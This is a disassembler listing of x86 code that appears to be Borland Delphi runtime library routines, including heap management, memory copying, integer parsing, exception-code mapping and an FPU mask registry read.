		jl	short loc_3D5498
		test	edx, 80000003h
		jz	short loc_3D54A7


loc_3D5498:				; CODE XREF: sub_3D53F4+9Aj
		mov	dword_4055B0, 0Ah
		jmp	loc_3D555D
; ---------------------------------------------------------------------------


loc_3D54A7:				; CODE XREF: sub_3D53F4+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_3D54BF
		mov	dword_4055B0, 0Ah
		jmp	loc_3D555D
; ---------------------------------------------------------------------------


loc_3D54BF:				; CODE XREF: sub_3D53F4+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_3D4D1C


loc_3D54C8:				; CODE XREF: sub_3D53F4+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, dword_405608
		jnz	short loc_3D5508
		sub	dword_405608, ebx
		add	dword_405604, ebx
		cmp	dword_405604, 3C00h
		jle	short loc_3D54F9
		call	sub_3D500C


loc_3D54F9:				; CODE XREF: sub_3D53F4+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_3D5E44
		jmp	loc_3D558D
; ---------------------------------------------------------------------------


loc_3D5508:				; CODE XREF: sub_3D53F4+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_3D552B
		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_3D5526
		mov	dword_4055B0, 0Bh
		jmp	short loc_3D555D
; ---------------------------------------------------------------------------


loc_3D5526:				; CODE XREF: sub_3D53F4+124j
		or	dword ptr [eax], 1
		jmp	short loc_3D5554
; ---------------------------------------------------------------------------


loc_3D552B:				; CODE XREF: sub_3D53F4+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_3D553E
		cmp	dword ptr [eax], 0
		jz	short loc_3D553E
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_3D554A


loc_3D553E:				; CODE XREF: sub_3D53F4+13Dj
					; sub_3D53F4+142j
		mov	dword_4055B0, 0Bh
		jmp	short loc_3D555D
; ---------------------------------------------------------------------------


loc_3D554A:				; CODE XREF: sub_3D53F4+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_3D4D1C


loc_3D5554:				; CODE XREF: sub_3D53F4+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_3D4F84


loc_3D555D:				; CODE XREF: sub_3D53F4+6Fj
					; sub_3D53F4+AEj ...
		mov	eax, dword_4055B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40218D
		cmp	byte_405035, 0
		jz	short locret_3D5585
		push	offset dword_4055B4
		call	sub_3D44DC	; RtlLeaveCriticalSection

locret_3D5585:				; CODE XREF: sub_3D53F4+185j
		retn
; ---------------------------------------------------------------------------
		dw 0FDE9h
		dd 0EB000007h
		db 0E5h
; ---------------------------------------------------------------------------


loc_3D558D:				; CODE XREF: sub_3D53F4+33j
					; sub_3D53F4+10Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_3D53F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D5598	proc near		; CODE XREF: .data:003D57C0p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_3D55B1
		mov	esi, 0Ch


loc_3D55B1:				; CODE XREF: sub_3D5598+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jnz	short loc_3D55D0
		mov	al, 1
		jmp	loc_3D576B
; ---------------------------------------------------------------------------


loc_3D55D0:				; CODE XREF: sub_3D5598+2Fj
		cmp	edi, esi
		jle	loc_3D565B
		mov	edx, edi
		sub	edx, esi
		mov	[esp+18h+var_18], edx
		cmp	ebx, dword_405608
		jnz	short loc_3D561F
		mov	eax, [esp+18h+var_18]
		sub	dword_405608, eax
		mov	eax, [esp+18h+var_18]
		add	dword_405604, eax
		cmp	dword_405604, 0Ch
		jge	loc_3D5752
		mov	eax, [esp+18h+var_18]
		add	dword_405608, eax
		mov	eax, [esp+18h+var_18]
		sub	dword_405604, eax
		mov	esi, edi
		jmp	loc_3D5752
; ---------------------------------------------------------------------------


loc_3D561F:				; CODE XREF: sub_3D5598+4Dj
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_3D5633
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+18h+var_18], edx
		call	sub_3D4D1C


loc_3D5633:				; CODE XREF: sub_3D5598+8Cj
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_3D5654
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+18h+var_18]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_3D4DE0
		jmp	loc_3D5752
; ---------------------------------------------------------------------------


loc_3D5654:				; CODE XREF: sub_3D5598+9Fj
		mov	esi, edi
		jmp	loc_3D5752
; ---------------------------------------------------------------------------


loc_3D565B:				; CODE XREF: sub_3D5598+3Aj
					; sub_3D5598+1B1j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+18h+var_14], eax
		cmp	ebx, dword_405608
		jnz	short loc_3D56D2
		mov	eax, dword_405604
		cmp	eax, [esp+18h+var_14]
		jl	short loc_3D56C9
		mov	eax, [esp+18h+var_14]
		sub	dword_405604, eax
		mov	eax, [esp+18h+var_14]
		add	dword_405608, eax
		cmp	dword_405604, 0Ch
		jge	short loc_3D56AB
		mov	eax, dword_405604
		add	dword_405608, eax
		add	esi, dword_405604
		xor	eax, eax
		mov	dword_405604, eax


loc_3D56AB:				; CODE XREF: sub_3D5598+F9j
		mov	eax, esi
		sub	eax, edi
		add	dword_4055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_3D576B
; ---------------------------------------------------------------------------


loc_3D56C9:				; CODE XREF: sub_3D5598+DCj
		call	sub_3D500C
		mov	ebx, ebp
		add	ebx, edi


loc_3D56D2:				; CODE XREF: sub_3D5598+D1j
		test	byte ptr [ebx],	2
		jnz	short loc_3D5724
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+18h+var_18], ecx
		mov	ecx, [esp+18h+var_18]
		cmp	ecx, [esp+18h+var_14]
		jge	short loc_3D56F8
		add	edx, [esp+18h+var_18]
		mov	ebx, edx
		mov	eax, [esp+18h+var_18]
		sub	[esp+18h+var_14], eax
		jmp	short loc_3D5724
; ---------------------------------------------------------------------------


loc_3D56F8:				; CODE XREF: sub_3D5598+150j
		call	sub_3D4D1C
		mov	eax, [esp+18h+var_14]
		sub	[esp+18h+var_18], eax
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_3D5718
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+18h+var_18]
		call	sub_3D4F84
		jmp	short loc_3D5752
; ---------------------------------------------------------------------------


loc_3D5718:				; CODE XREF: sub_3D5598+170j
		add	esi, [esp+18h+var_18]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_3D5752
; ---------------------------------------------------------------------------


loc_3D5724:				; CODE XREF: sub_3D5598+13Dj
					; sub_3D5598+15Ej
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_3D574E
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		call	sub_3D5110
		test	al, al
		jz	short loc_3D574E
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_3D565B
; ---------------------------------------------------------------------------


loc_3D574E:				; CODE XREF: sub_3D5598+193j
					; sub_3D5598+1ABj
		xor	eax, eax
		jmp	short loc_3D576B
; ---------------------------------------------------------------------------


loc_3D5752:				; CODE XREF: sub_3D5598+68j
					; sub_3D5598+82j ...
		mov	eax, esi
		sub	eax, edi
		add	dword_4055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1


loc_3D576B:				; CODE XREF: sub_3D5598+33j
					; sub_3D5598+12Cj ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D5598	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	byte_4055AC, 0
		jnz	short loc_3D579B
		call	sub_3D4B78
		test	al, al
		jnz	short loc_3D579B
		xor	eax, eax
		mov	[ebp-4], eax
		jmp	loc_3D582C
; ---------------------------------------------------------------------------


loc_3D579B:				; CODE XREF: .data:003D5786j
					; .data:003D578Fj
		xor	edx, edx
		push	ebp
		push	offset byte_402425
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	byte_405035, 0
		jz	short loc_3D57BC
		push	offset dword_4055B4
		call	sub_3D44D4	; RtlEnterCriticalSection


loc_3D57BC:				; CODE XREF: .data:003D57B0j
		mov	edx, esi
		mov	eax, ebx
		call	sub_3D5598
		test	al, al
		jz	short loc_3D57CE
		mov	[ebp-4], ebx
		jmp	short loc_3D5804
; ---------------------------------------------------------------------------


loc_3D57CE:				; CODE XREF: .data:003D57C7j
		mov	eax, esi
		call	sub_3D5264
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_3D57EC
		mov	eax, esi


loc_3D57EC:				; CODE XREF: .data:003D57E8j
		test	edi, edi
		jz	short loc_3D5801
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_3D58EC
		mov	eax, ebx
		call	sub_3D53F4


loc_3D5801:				; CODE XREF: .data:003D57EEj
		mov	[ebp-4], edi


loc_3D5804:				; CODE XREF: .data:003D57CCj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40242C
		cmp	byte_405035, 0
		jz	short locret_3D5824
		push	offset dword_4055B4
		call	sub_3D44DC	; RtlLeaveCriticalSection

locret_3D5824:				; CODE XREF: .data:003D5818j
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 5Eh, 5
		dd 0E5EB0000h
; ---------------------------------------------------------------------------


loc_3D582C:				; CODE XREF: .data:003D5796j
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D5838	proc near		; CODE XREF: sub_3D6310+Cp
		push	ebx
		test	eax, eax
		jle	short loc_3D5852
		call	off_404024
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_3D5854
		mov	al, 1
		call	sub_3D58D0
; ---------------------------------------------------------------------------
		db 0EBh, 2
; ---------------------------------------------------------------------------


loc_3D5852:				; CODE XREF: sub_3D5838+3j
		xor	ebx, ebx


loc_3D5854:				; CODE XREF: sub_3D5838+Fj
		mov	eax, ebx
		pop	ebx
		retn
sub_3D5838	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D5858	proc near		; CODE XREF: sub_3D62EC+1Cp
		push	ebx
		test	eax, eax
		jz	short loc_3D5872
		call	off_404028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_3D5874
		mov	al, 2
		call	sub_3D58D0
; ---------------------------------------------------------------------------
		db 0EBh, 2
; ---------------------------------------------------------------------------


loc_3D5872:				; CODE XREF: sub_3D5858+3j
		xor	ebx, ebx


loc_3D5874:				; CODE XREF: sub_3D5858+Fj
		mov	eax, ebx
		pop	ebx
		retn
sub_3D5858	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_3D5878	proc near		; CODE XREF: sub_3D5884+42p
					; .data:003D5EF3p
		mov	dword_404004, edx
		call	sub_3D62D4
sub_3D5878	endp

; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_3D5884	proc near		; CODE XREF: sub_3D58D0+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	dword_405008, 0
		jz	short loc_3D58A0
		mov	edx, esi
		mov	eax, ebx
		call	dword_405008


loc_3D58A0:				; CODE XREF: sub_3D5884+10j
		test	bl, bl
		jnz	short loc_3D58B1
		call	sub_3D667C
		mov	ebx, [eax+4]
		jmp	short loc_3D58C0
; ---------------------------------------------------------------------------


loc_3D58B1:				; CODE XREF: sub_3D5884+1Ej
		cmp	bl, 18h
		ja	short loc_3D58C0
		xor	eax, eax
		mov	al, bl
		mov	bl, byte_404030[eax]


loc_3D58C0:				; CODE XREF: sub_3D5884+2Bj
					; sub_3D5884+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_3D5878
sub_3D5884	endp

; ---------------------------------------------------------------------------
		db 5Eh
		dd 0C08BC35Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_3D58D0	proc near		; CODE XREF: sub_3D5838+13p
					; sub_3D5858+13p
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_3D5884
sub_3D58D0	endp

; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_3D58DC	proc near		; CODE XREF: sub_3D592C+38p
					; sub_3D592C+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_3D667C
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_3D58DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D58EC	proc near		; CODE XREF: .data:003D57F5p
					; sub_3D633C+1Cp
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_3D590B
		jz	short loc_3D5929
		sar	ecx, 2
		js	short loc_3D5929
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_3D590B:				; CODE XREF: sub_3D58EC+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_3D5929
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_3D5929:				; CODE XREF: sub_3D58EC+Cj
					; sub_3D58EC+11j ...
		pop	edi
		pop	esi
		retn
sub_3D58EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D592C	proc near		; CODE XREF: .data:003D64FAp
					; .data:003D6504p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_3D596B
		cmp	ax, 0D7B3h
		ja	short loc_3D596B
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_3D5953
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_3D5953:				; CODE XREF: sub_3D592C+1Ej
		test	esi, esi
		jnz	short loc_3D595E
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_3D595E:				; CODE XREF: sub_3D592C+29j
		test	esi, esi
		jz	short loc_3D597D
		mov	eax, esi
		call	sub_3D58DC
		jmp	short loc_3D597D
; ---------------------------------------------------------------------------


loc_3D596B:				; CODE XREF: sub_3D592C+Ej
					; sub_3D592C+14j
		cmp	ebx, offset dword_405038
		jz	short loc_3D597D
		mov	eax, 67h
		call	sub_3D58DC


loc_3D597D:				; CODE XREF: sub_3D592C+34j
					; sub_3D592C+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_3D592C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D5984	proc near		; CODE XREF: .data:003D64A9p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_3D59FA
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_3D5997:				; CODE XREF: sub_3D5984+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_3D5997
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_3D5A08
		cmp	bl, 2Bh
		jz	short loc_3D5A0A


loc_3D59AB:				; CODE XREF: sub_3D5984+89j
		cmp	bl, 24h
		jz	short loc_3D5A0F
		cmp	bl, 78h
		jz	short loc_3D5A0F
		cmp	bl, 58h
		jz	short loc_3D5A0F
		cmp	bl, 30h
		jnz	short loc_3D59D2
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_3D5A0F
		cmp	bl, 58h
		jz	short loc_3D5A0F
		test	bl, bl
		jz	short loc_3D59F0
		jmp	short loc_3D59D6
; ---------------------------------------------------------------------------


loc_3D59D2:				; CODE XREF: sub_3D5984+39j
		test	bl, bl
		jz	short loc_3D5A03


loc_3D59D6:				; CODE XREF: sub_3D5984+4Cj
					; sub_3D5984+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_3D5A03
		cmp	eax, edi
		ja	short loc_3D5A03
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_3D59D6


loc_3D59F0:				; CODE XREF: sub_3D5984+4Aj
		dec	ch
		jz	short loc_3D59FD
		test	eax, eax
		jge	short loc_3D5A4C
		jmp	short loc_3D5A03
; ---------------------------------------------------------------------------


loc_3D59FA:				; CODE XREF: sub_3D5984+8j
					; sub_3D5984+95j
		inc	esi
		jmp	short loc_3D5A03
; ---------------------------------------------------------------------------


loc_3D59FD:				; CODE XREF: sub_3D5984+6Ej
		neg	eax
		jle	short loc_3D5A4C
		js	short loc_3D5A4C


loc_3D5A03:				; CODE XREF: sub_3D5984+50j
					; sub_3D5984+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_3D5A4F
; ---------------------------------------------------------------------------


loc_3D5A08:				; CODE XREF: sub_3D5984+20j
		inc	ch


loc_3D5A0A:				; CODE XREF: sub_3D5984+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_3D59AB
; ---------------------------------------------------------------------------


loc_3D5A0F:				; CODE XREF: sub_3D5984+2Aj
					; sub_3D5984+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_3D59FA


loc_3D5A1B:				; CODE XREF: sub_3D5984+C0j
		cmp	bl, 61h
		jb	short loc_3D5A23
		sub	bl, 20h


loc_3D5A23:				; CODE XREF: sub_3D5984+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_3D5A36
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_3D5A03
		add	bl, 0Ah


loc_3D5A36:				; CODE XREF: sub_3D5984+A5j
		cmp	eax, edi
		ja	short loc_3D5A03
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_3D5A1B
		dec	ch
		jnz	short loc_3D5A4C
		neg	eax


loc_3D5A4C:				; CODE XREF: sub_3D5984+72j
					; sub_3D5984+7Bj ...
		pop	ecx
		xor	esi, esi


loc_3D5A4F:				; CODE XREF: sub_3D5984+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D5984	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0
		dd 60D025FFh, 0C08B0040h, 6ADB3353h, 0FFEEE800h, 0F883FFFFh
		dd 6A1C7507h, 0FFE2E801h, 25FFFFh, 3D0000FFh, 0D00h, 3D0774h
		dd 75000004h, 8B01B302h, 90C35BC3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, word_40400C
		mov	[ebp-8], eax
		lea	eax, [ebp-4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_3D4468
		test	eax, eax
		jnz	short loc_3D5B08
		xor	eax, eax
		push	ebp
		push	offset byte_402701
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dword ptr [ebp-0Ch], 4
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp-4]
		push	eax
		call	sub_3D4470
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402708
		mov	eax, [ebp-4]
		push	eax
		call	sub_3D4460
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 82h, 2
		dd 0EFEB0000h
; ---------------------------------------------------------------------------


loc_3D5B08:				; CODE XREF: .data:003D5AB9j
		mov	ax, word_40400C
		and	ax, 0FFC0h
		mov	dx, [ebp-8]
		and	dx, 3Fh
		or	ax, dx
		mov	word_40400C, ax
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
aSoftwareBorl_0	db 'SOFTWARE\Borland\Delphi\RTL',0
aFpumaskvalue_0	db 'FPUMaskValue',0
		align 4
		dd 0D99BE3DBh, 40400C2Dh, 0C08BC300h, 774C085h,	88B01B2h
		dd 0C3FC51FFh, 40103D80h, 76010040h, 6A006A11h,	68006A00h
		dd 0EEDFADFh, 501015FFh, 90C30040h, 40103D80h, 74000040h
		dd 52505017h, 6A026A54h, 0FAE46800h, 15FF0EEDh,	405010h
		dd 5808C483h, 408DC3h, 6A016A54h, 0FAE06800h, 15FF0EEDh
		dd 405010h, 5804C483h, 408DC3h,	40103D80h, 76010040h, 0E9535007h
		dd 0FFFFFFD8h, 408DC3h,	1974C985h, 8001418Bh, 0C74E939h
		dd 75EB3980h, 0C0BE0F0Ch, 3EB4141h, 105C183h, 0C08BC3C1h
		dd 40103D80h, 76010040h, 5152501Dh, 0FFFFCFE8h,	6A5451FFh
		dd 68006A01h, 0EEDFAE1h, 501015FFh, 59590040h, 90C3585Ah
		dd 40103D80h, 76010040h, 6A545212h, 68006A01h, 0EEDFAE2h
		dd 501015FFh, 0C35A0040h, 3D805250h, 404010h, 54107601h
		dd 6A026Ah, 0EDFAE368h,	1015FF0Eh, 5A004050h, 0C08BC358h
		dd 424448Bh, 60440F7h, 0F000000h, 11385h, 0DE388100h, 8B0EEDFAh
		dd 488B1850h, 0FC6E7414h, 0FFFED3E8h, 0C158BFFh, 85004050h
		dd 0F1840FD2h, 0FF000000h, 0FC085D2h, 0E784h, 24548B00h
		dd 244C8B0Ch, 0CE398104h, 740EEFFAh, 0FEDAE837h, 3D80FFFFh
		dd 404014h, 80297600h, 4040103Dh, 20770000h, 4244C8Dh
		dd 4DE85150h, 83FFFFE7h, 0F5800F8h, 0AB84h, 8BC28900h
		dd 8B042444h, 30EB0C48h, 448BC289h, 488B0424h, 143D800Ch
		dd 1004040h, 3D801E76h,	404010h, 50157700h, 824448Dh, 0E8505152h
		dd 0FFFFE710h, 5900F883h, 7074585Ah, 2044883h, 56DB3153h
		dd 8B645557h, 5250531Bh, 24548B51h, 50006A28h, 40293468h
		dd 15FF5200h, 405014h, 28247C8Bh, 93FE8h, 0B0FF00h, 89000000h
		dd 0A0h, 86F8B00h, 0C7045F8Bh, 29600447h, 0C3830040h, 0FE66E805h
		dd 0E3FFFFFFh, 23E9h, 912E800h,	888B0000h, 0
		dd 9089118Bh, 0
		dd 0E908418Bh, 0FFFFFDE0h, 1B8h, 0C08BC300h, 424448Bh
		dd 824548Bh, 60440F7h, 74000000h, 44A8B1Fh, 0B80442C7h
		dd 53004029h, 8B555756h, 0C183086Ah, 0FE46E805h, 0D1FFFFFFh
		dd 5B5E5F5Dh, 1B8h, 0C08BC300h,	3024448Bh, 0B0440C7h, 0E800402Ah
		dd 8ACh, 908Bh,	0A8B0000h, 8889h, 428B0000h, 460830Ch
		dd 0DE3881FDh, 740EEDFAh, 8428B0Dh, 0FFFD6BE8h,	0FD72E8FFh
		dd 0C031FFFFh, 6414C483h, 8B59108Bh, 5D118912h,	0B85B5E5Fh
		dd 1, 408DC3h, 863E8h, 908B00h,	8B000000h, 88890Ah, 8B000000h
		dd 31E80842h, 5AFFFFFDh, 2C24648Bh, 6459C031h, 5D580889h
		dd 0FFFDDFE8h, 0C3E2FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_3D5E44	proc near		; CODE XREF: sub_3D5264+F5p
					; sub_3D5264+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_3D5E44	endp

; ---------------------------------------------------------------------------
		db 0C3h, 8Bh, 0C0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_3D5E97
		jz	short loc_3D5EC9
		cmp	eax, 0C000008Eh
		jg	short loc_3D5E89
		jz	short loc_3D5ECD
		sub	eax, 0C0000005h
		jz	short loc_3D5ED9
		sub	eax, 87h
		jz	short loc_3D5EC1
		dec	eax
		jz	short loc_3D5ED5
		jmp	short loc_3D5EE9
; ---------------------------------------------------------------------------


loc_3D5E89:				; CODE XREF: .data:003D5E72j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_3D5EC9
		jz	short loc_3D5EC5
		jmp	short loc_3D5EE9
; ---------------------------------------------------------------------------


loc_3D5E97:				; CODE XREF: .data:003D5E69j
		cmp	eax, 0C0000096h
		jg	short loc_3D5EAF
		jz	short loc_3D5EDD
		sub	eax, 0C0000093h
		jz	short loc_3D5ED5
		dec	eax
		jz	short loc_3D5EBD
		dec	eax
		jz	short loc_3D5ED1
		jmp	short loc_3D5EE9
; ---------------------------------------------------------------------------


loc_3D5EAF:				; CODE XREF: .data:003D5E9Cj
		sub	eax, 0C00000FDh
		jz	short loc_3D5EE5
		sub	eax, 3Dh
		jz	short loc_3D5EE1
		jmp	short loc_3D5EE9
; ---------------------------------------------------------------------------


loc_3D5EBD:				; CODE XREF: .data:003D5EA8j
		mov	al, 0C8h
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5EC1:				; CODE XREF: .data:003D5E82j
		mov	al, 0C9h
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5EC5:				; CODE XREF: .data:003D5E93j
		mov	al, 0CDh
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5EC9:				; CODE XREF: .data:003D5E6Bj
					; .data:003D5E91j
		mov	al, 0CFh
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5ECD:				; CODE XREF: .data:003D5E74j
		mov	al, 0C8h
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5ED1:				; CODE XREF: .data:003D5EABj
		mov	al, 0D7h
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5ED5:				; CODE XREF: .data:003D5E85j
					; .data:003D5EA5j
		mov	al, 0CEh
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5ED9:				; CODE XREF: .data:003D5E7Bj
		mov	al, 0D8h
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5EDD:				; CODE XREF: .data:003D5E9Ej
		mov	al, 0DAh
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5EE1:				; CODE XREF: .data:003D5EB9j
		mov	al, 0D9h
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5EE5:				; CODE XREF: .data:003D5EB4j
		mov	al, 0CAh
		jmp	short loc_3D5EEB
; ---------------------------------------------------------------------------


loc_3D5EE9:				; CODE XREF: .data:003D5E87j
					; .data:003D5E95j ...
		mov	al, 0FFh


loc_3D5EEB:				; CODE XREF: .data:003D5EBFj
					; .data:003D5EC3j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_3D5878
; ---------------------------------------------------------------------------
		dd 4C25Dh, 424448Bh, 60440F7h, 0F000000h, 8985h, 103D8000h
		dd 4040h, 448D0F77h, 0E8500424h, 0FFFFE4F8h, 7400F883h
		dd 24448B71h, 25E8FC04h, 8BFFFFFCh, 6A082454h, 42685000h
		dd 5200402Bh, 501415FFh, 5C8B0040h, 3B810424h, 0EEDFADEh
		dd 8B14538Bh, 1D741843h, 500C158Bh, 0D2850040h,	0FEFA840Fh
		dd 0D889FFFFh, 0C085D2FFh, 0FEEE840Fh, 538BFFFFh, 0FCC6E80Ch
		dd 0D8BFFFFh, 405004h, 274C985h, 4C8BD1FFh, 0D9B80424h
		dd 8B000000h, 14891451h, 34AE924h, 0C0310000h, 408DC3h

; =============== S U B	R O U T	I N E =======================================



sub_3D5F9C	proc near		; CODE XREF: sub_3D60A4+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset dword_402AFC
		mov	[eax+8], ebp
		mov	dword_405624, eax
		retn
